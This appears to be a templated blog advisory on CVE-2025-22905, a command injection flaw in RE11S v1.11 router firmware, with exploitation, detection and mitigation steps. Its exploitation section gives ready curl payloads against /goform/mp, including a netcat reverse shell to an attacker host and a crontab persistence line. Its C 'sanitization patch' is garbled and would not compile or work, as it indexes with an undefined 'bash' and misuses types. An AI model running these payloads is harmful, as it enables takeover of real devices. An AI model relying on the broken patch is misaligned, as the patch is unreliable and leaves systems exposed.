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How CVE-2025-22905 Works
CVE-2025-22905 is a command injection vulnerability in RE11S v1.11 firmware, specifically in the `/goform/mp` endpoint. The flaw arises due to improper sanitization of user-supplied input in the `command` parameter. An attacker can craft a malicious HTTP request containing shell metacharacters (e.g., ;, |, &) to execute arbitrary commands on the underlying operating system with root privileges. This occurs because the firmware passes the unsanitized input directly to a system shell, allowing attackers to chain commands and gain full device control.
DailyCVE Form
Platform: RE11S Router
Version: v1.11
Vulnerability: Command Injection
Severity: Critical
Date: 04/10/2025
What Undercode Say:
Exploitation
1. Crafting the Payload:
curl -X POST "http://<TARGET_IP>/goform/mp" -d "command=;id>/tmp/exploit;"
2. Reverse Shell:
curl -X POST "http://<TARGET_IP>/goform/mp" -d "command=;nc -e /bin/sh <ATTACKER_IP> 4444;"
3. Persistence:
echo "malicious_payload" >> /etc/crontab
Detection
1. Log Analysis:
grep -r "goform/mp" /var/log/
2. Network Monitoring:
tcpdump -i eth0 'port 80 and host <TARGET_IP>'
Mitigation
1. Input Sanitization Patch:
// Example patch for command sanitization
void sanitize_input(char input) {
const char forbidden[] = {";", "|", "&", NULL};
for (int i = 0; forbidden[bash]; i++) {
if (strstr(input, forbidden[bash])) {
exit(1);
}
}
}
2. Firewall Rule:
iptables -A INPUT -p tcp --dport 80 -m string --string "goform/mp" --algo bm -j DROP
3. Firmware Update:
wget https://vendor.com/patched_firmware.bin && flash-firmware patched_firmware.bin
Post-Exploit Analysis
1. Forensic Artifacts:
strings /tmp/exploit | grep "command="
2. Memory Dump:
dd if=/dev/mem of=/root/memdump.bin
References
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-22905
Extra Source Hub:
Undercode
